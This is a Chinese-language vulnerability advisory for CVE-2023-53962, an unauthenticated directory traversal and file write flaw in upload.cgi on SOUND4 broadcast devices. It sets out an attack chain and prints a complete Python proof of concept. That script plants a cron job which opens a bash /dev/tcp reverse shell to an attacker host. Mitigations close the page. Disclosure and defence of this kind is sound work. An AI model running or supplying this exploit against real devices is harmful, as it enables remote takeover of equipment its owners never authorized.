IPBUF安全漏洞报告
English
CVE-2023-53962 CVSS 7.5 高危

CVE-2023-53962: SOUND4 IMPACT/FIRST/PULSE/Eco 目录遍历任意文件写入漏洞

披露日期: 2025-12-22

漏洞信息

漏洞编号
CVE-2023-53962
漏洞类型
目录遍历/任意文件写入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SOUND4 IMPACT/FIRST/PULSE/Eco v2.x

相关标签

目录遍历任意文件写入未授权访问远程代码执行SOUND4CVE-2023-53962广播设备IoT安全Web漏洞

漏洞概述

CVE-2023-53962是SOUND4公司生产的IMPACT、FIRST、PULSE和Eco系列广播设备软件v2.x版本中的一个严重安全漏洞。该漏洞属于未认证的目录遍历(Directory Traversal)漏洞,允许远程攻击者通过Web接口的upload.cgi文件上传功能写入任意文件到系统任意位置。攻击者利用'upgfile'参数,发送精心构造的multipart form-data POST请求,通过在文件名中插入'../'等目录遍历序列,可以绕过安全限制将文件写入Web服务器的非预期目录。此漏洞无需任何认证凭据即可利用,且攻击复杂度较低,对系统完整性造成严重影响。攻击成功可导致远程代码执行、配置文件篡改或系统完全沦陷。

技术细节

该漏洞存在于SOUND4设备的Web管理界面upload.cgi脚本中。漏洞根源在于程序未对用户提交的'upgfile'参数进行充分的路径安全校验。当攻击者构造如下请求时:POST /upload.cgi HTTP/1.1,Content-Type: multipart/form-data; boundary=----WebKitFormBoundary,参数中包含目录遍历序列如'../../../../../../etc/cron.d/malicious',服务器会将文件写入到攻击者指定的位置而非预定的上传目录。攻击者通常利用此漏洞写入Webshell获取远程代码执行能力,或写入计划任务实现持久化,或修改系统配置文件。由于该接口默认无需认证即可访问,因此任何能够访问设备Web服务的攻击者都可以发起攻击。CVSS评分7.5分,主要影响完整性(高),对机密性和可用性影响较低或无。

攻击链分析

STEP 1
Reconnaissance
识别目标为SOUND4 IMPACT/FIRST/PULSE/Eco设备,确认Web服务可访问,定位upload.cgi端点
STEP 2
Craft Payload
构造包含目录遍历序列的文件名(如../../../../../../etc/cron.d/)和恶意内容(如反弹shell命令)的multipart form-data请求
STEP 3
Exploitation
发送恶意POST请求到/upload.cgi,通过upgfile参数利用目录遍历漏洞将文件写入系统任意位置
STEP 4
Privilege Escalation/Persistence
写入的计划任务或Webshell在服务器上执行,攻击者获得远程代码执行能力或持久化访问
STEP 5
Post-Exploitation
攻击者可以完全控制设备,窃取数据、安装后门、横向移动或造成服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys def exploit_cve_2023_53962(target_url, lhost, lport): """ CVE-2023-53962 PoC - SOUND4 IMPACT/FIRST/PULSE/Eco Unauthenticated Directory Traversal This PoC demonstrates writing a cron job to achieve RCE """ # Target endpoint upload_url = f"{target_url}/upload.cgi" # Payload: Write a cron job for reverse shell # Target path: /etc/cron.d/ for persistence payload_filename = "../../../../../../etc/cron.d/pwned" # Cron job payload - reverse shell every minute payload_content = f"* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\n" # Boundary for multipart form-data boundary = "----WebKitFormBoundary" # Construct multipart request body body = f"""--{boundary}\r Content-Disposition: form-data; name="upgfile"; filename="{payload_filename}"\r Content-Type: application/octet-stream\r \r {payload_content} --{boundary}--\r """ headers = { 'Content-Type': f'multipart/form-data; boundary={boundary}', 'Accept': '*/*' } print(f"[*] Target: {target_url}") print(f"[*] Uploading payload to: {payload_filename}") try: response = requests.post(upload_url, data=body, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") if response.status_code == 200: print("[+] Payload uploaded successfully!") print(f"[*] Check listener on {lhost}:{lport}") else: print(f"[-] Upload failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <lhost> <lport>") print(f"Example: python {sys.argv[0]} http://192.168.1.100 192.168.1.50 4444") sys.exit(1) exploit_cve_2023_53962(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

SOUND4 IMPACT v2.x < 修复版本
SOUND4 FIRST v2.x < 修复版本
SOUND4 PULSE v2.x < 修复版本
SOUND4 Eco v2.x < 修复版本

防御指南

临时缓解措施
在Web服务器(如Apache/Nginx)配置中添加规则,拦截包含../序列的请求参数;或通过防火墙限制对/upload.cgi端点的访问,仅允许受信任的管理IP访问;同时建议在网络层实施零信任策略,对IoT设备进行网络隔离,防止攻击蔓延。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表